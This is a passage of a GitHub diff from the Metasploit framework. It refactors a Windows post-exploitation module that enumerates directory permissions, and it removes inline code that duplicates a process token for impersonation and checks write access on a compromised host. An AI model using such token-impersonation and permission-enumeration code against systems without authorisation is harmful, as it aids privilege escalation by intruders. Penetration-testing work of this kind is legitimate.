+ fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
+ end
+ end
+ end
+ end
+
+end
+
View
63 modules/post/windows/gather/enum_dirperms.rb
@@ -11,6 +11,7 @@
class Metasploit3 < Msf::Post
include Msf::Post::Common
+ include Msf::Post::Windows::Accounts
def initialize(info={})
super(update_info(info,
@@ -40,60 +41,6 @@ def initialize(info={})
], self.class)
end
- def get_imperstoken
- adv = session.railgun.advapi32
- tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
- tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
- tok_all << " | TOKEN_ADJUST_DEFAULT"
-
- #get impersonation token handle it["DuplicateTokenhandle"] carries this value
- #p = kern.GetCurrentProcess() #get handle to current process
- pid = session.sys.process.open.pid
- pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
- pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
- it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
- if it["return"] #if it fails return 0 for error handling
- return it["DuplicateTokenHandle"]
- else
- return 0
- end
- end
-
- def check_dir(dir, token)
- # If path doesn't exist, do not continue
- begin
- session.fs.dir.entries(dir)
- rescue => e
- vprint_error("#{e.message}: #{dir}")
- return nil
- end
-
- adv = session.railgun.advapi32
- si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
- result = ""
-
- #define generic mapping structure
- gen_map = [0,0,0,0]
- gen_map = gen_map.pack("L")
-
- #get Security Descriptor for the directory
- f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
- f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
- sd = f["pSecurityDescriptor"]
-
- #check for write access, called once to get buffer size
- a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
- len = a["PrivilegeSetLength"]
-
- r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
- if !r["return"] then return nil end
- if r["GrantedAccess"] > 0 then result << "R" end
-
- w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
- if !w["return"] then return nil end
- if w["GrantedAccess"] > 0 then result << "W" end
- end
-
def enum_subdirs(perm_filter, dpath, maxdepth, token)
filter = datastore['FILTER']
filter = nil if datastore['FILTER'] == 'NA'
@@ -110,7 +57,7 @@ def enum_subdirs(perm_filter, dpath, maxdepth, token)
next if d =~ /^(\.|\.\.)$/
realpath = dpath + '\\' + d
if session.fs.file.stat(realpath).directory?
- perm = check_dir(realpath, token)
+ perm = check_dir_perms(realpath, token)
if perm_filter and perm and perm.include?(perm_filter)
print_status(perm + "\t" + realpath)
end
@@ -144,7 +91,7 @@ def get_token
t = get_imperstoken()
rescue ::Exception => e
# Failure due to timeout, access denied, etc.
- t = 0
+ t = nil
vprint_error("Error #{e.message} while using get_imperstoken()")
vprint_error(e.backtrace)
end
@@ -158,7 +105,7 @@ def enum_perms(perm_filter, token, depth, paths)
print_status("Checking directory permissions from: #{path}")
- perm = check_dir(path, token)
+ perm = check_dir_perms(path, token)
if not perm.nil?
# Show the permission of the parent directory
if perm_filter and perm.include?(perm_filter)
@@ -188,7 +135,7 @@ def run
t = get_token
- if t == 0
+ unless t
print_error("Getting impersonation token failed")
else
print_status("Got token: #{t.to_s}...")
Something went wrong with that request. Please try again.